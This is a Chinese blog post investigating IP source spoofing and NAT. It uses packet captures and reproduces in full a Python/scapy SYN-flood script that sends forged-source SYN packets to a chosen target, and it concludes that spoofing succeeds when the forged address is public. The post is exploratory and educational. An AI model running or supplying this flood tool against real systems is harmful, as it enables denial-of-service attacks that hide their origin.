关于ip伪造的原理探究

昨天有个朋友问我ip伪造的可行性,以前没深入了解过,于是上网搜索了一番,发现syn flood普遍利用了伪造源ip的方式进行攻击。

现在需求变成:

  • 伪造源ip对目标发包,不要求接收到返回包

这个需求能实现吗?又是怎么实现的?这个问题乍一看很显然可以,但是细细想来还是有些问题不太明白。

1. 发生困惑

想了一下,这个需求在我认知里面好像是不能实现的,由于之前写syn端口扫描器的时候,在syn tcp数据包中需要填写源ip和源端口,这个源ip是某一个网卡的ip,在自己的电脑上,也就是类似于172.23.22.234的私有ip。于是我产生一个疑问,就是伪造源ip真的有用的话,那么也就代表在正常tcp握手时,server端会识别syn包里的源ip(也就是私有地址),那server端是怎么知道把ack+syn包发到哪里呢?

做个实验,使用wireshark抓包,然后访问百度。

2021-05-07T08:07:46.png

2021-05-07T08:08:34.png

可以看到syn数据包的源ip确实为内网的私有地址172.23.22.234,那么server端拿到的数据包呢,通过tcpdump抓一下包试试

2021-05-07T08:16:06.png

可以看到server端拿到的包源ip为103.202.xxx.xxx也就是我的公网地址。

于是我有点困惑,这样看来伪造数据包的源ip还有用吗?于是我带着疑问问了问别的师傅。

2021-05-07T08:19:49.png

在师傅的一番解释(胡言乱语)后,我还是没明白,于是继续实验。

2. 证明疑惑

首先看了一篇数据包发送寻址的文章一个数据包在网络中到底是怎么游走的?

摘抄出其中比较关键的句子:

  • 在网络包传输的过程中, 源IP和目标IP始终是不会变的,一直变化的是MAC地址,因为需要MAC地址在以太网内进行 两个设备之间的包传输。
  • http响应报文也需要穿上TCP、IP、MAC头部,不过这次是源地址是服务器IP地址,目的地址是客户端IP地址。

那么为什么client发送的源ip到了server端就变了,变成了client的公网ip。这是因为在经过路由器时,会发生网络地址(NAT)转换,路由器通过NAT将源数据包中的源IP由172.23.22.234转换为103.202.xxx.xxx,并且将TCP端口号转换为60159,然后在路由器内部生成转换表。

那么疑问来了,此时伪造数据包中的源ip还有用吗?经过路由器做了nat转换后最终还是会变成公网ip?

3. 解除疑惑

还是做个实验来看,首先使用python构造raw syn包,伪造其中的源ip。

#!/usr/bin/python3

from sys import stdout
from scapy.all import *
from random import randint
from argparse import ArgumentParser


def randomIP():
	# ip = ".".join(map(str, (randint(0, 255)for _ in range(4))))
	ip = "192.168.1.20"
	print(f"srcip: {ip}")
    return ip

def randInt():
	x = randint(1000, 9000)
	return x


def SYN_Flood(dstIP, dstPort, counter):
	total = 0
	print ("Packets are sending ...")

	for x in range (0, counter):
		s_port = randInt()
		s_eq = randInt()
		w_indow = randInt()

		IP_Packet = IP ()
		IP_Packet.src = randomIP()
		IP_Packet.dst = dstIP

		TCP_Packet = TCP ()
		TCP_Packet.sport = s_port
		TCP_Packet.dport = int(dstPort)
		TCP_Packet.flags = "S"
		TCP_Packet.seq = s_eq
		TCP_Packet.window = w_indow

		send(IP_Packet/TCP_Packet, verbose=0)
		total+=1

	stdout.write("\nTotal packets sent: %i\n" % total)


def main():
	parser = ArgumentParser()
	parser.add_argument('--target', '-t', help='target IP address')
	parser.add_argument('--port', '-p', help='target port number')
	parser.add_argument('--count', '-c', help='number of packets')
	parser.add_argument('--version', '-v', action='version', version='Python SynFlood Tool v2.0.1\n@EmreOvunc')
	parser.epilog = "Usage: python3 py3_synflood_cmd.py -t 10.20.30.40 -p 8080 -c 1"

	args = parser.parse_args()

	if args.target is not None:
		if args.port is not None:
			if args.count is None:
				print('[!]You did not use --counter/-c parameter, so 1 packet will be sent..')
				SYN_Flood(args.target, args.port, 1)

			else:
				SYN_Flood(args.target, args.port, int(args.count))

		else:
			print('[-]Please, use --port/-p to give target\'s port!')
			print('[!]Example: -p 445')
			print('[?] -h for help')
			exit()
	else:
		print('''usage: py3_synflood_cmd.py [-h] [--target TARGET] [--port PORT]
                           [--count COUNT] [--version]
optional arguments:
  -h, --help            show this help message and exit
  --target TARGET, -t TARGET
                        target IP address
  --port PORT, -p PORT  target port number
  --count COUNT, -c COUNT
                        number of packets
  --version, -v         show program's version number and exit''')
		exit()

main()

修改其源ip来测试一下:

首先测试伪造源ip为一个随机的公网ip:

2021-05-07T11:35:34.png

发现server收到的源ip就是我们伪造的公网ip。看来经过路由器时,对源ip是公网ip的数据包不做nat转换。

接下来将数据包的源ip改成私有ip试试,按照猜想此时server收到的源ip应该是client的公网出口ip:

2021-05-07T11:52:28.png

确实是这样,猜想正确,数据包经过路由器被NAT转换了。

回头看看,问题就是对nat转换的过程不够清晰,路由器只对特定的数据包做nat转换。

4. 总结

伪造源ip对目标发包的需求是完全可以实现的,但是需要保证伪造的src ip不能被路由器进行nat转换。一般情况下,保证伪造的源ip为公有ip即可。